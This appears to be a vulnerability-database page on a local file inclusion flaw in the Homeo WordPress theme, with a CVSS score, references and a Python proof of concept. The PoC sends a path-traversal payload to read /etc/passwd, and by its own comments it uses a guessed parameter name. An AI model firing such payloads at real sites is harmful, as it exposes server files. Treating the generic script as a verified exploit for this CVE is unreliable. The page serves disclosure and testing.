CVE-2026-39681

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ApusTheme Homeo homeo allows PHP Local File Inclusion.This issue affects Homeo: from n/a through <= 1.2.59.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Homeo <= 1.2.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_lfi(target_url):
    """
    Proof of Concept for CVE-2026-39681
    Tests for Local File Inclusion via vulnerable parameter.
    """
    # Common vulnerable endpoint pattern (example)
    # The actual parameter name may vary based on theme implementation
    payload = "?page=../../../../../../../etc/passwd"
    
    try:
        response = requests.get(target_url + payload, timeout=10)
        if "root:x:0:0:" in response.text:
            print("[+] Vulnerability confirmed! /etc/passwd leaked.")
            return True
        else:
            print("[-] Vulnerability not confirmed or target patched.")
            return False
    except Exception as e:
        print(f"Error connecting to target: {e}")
        return False

if __name__ == "__main__":
    url = "http://example.com/" # Replace with target URL
    check_lfi(url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39681
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39681
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39681/
[4] VulDB https://vuldb.com/cve/CVE-2026-39681
[5] https://patchstack.com/database/Wordpress/Theme/homeo/vulnerability/wordpress-homeo-theme-1-2-59-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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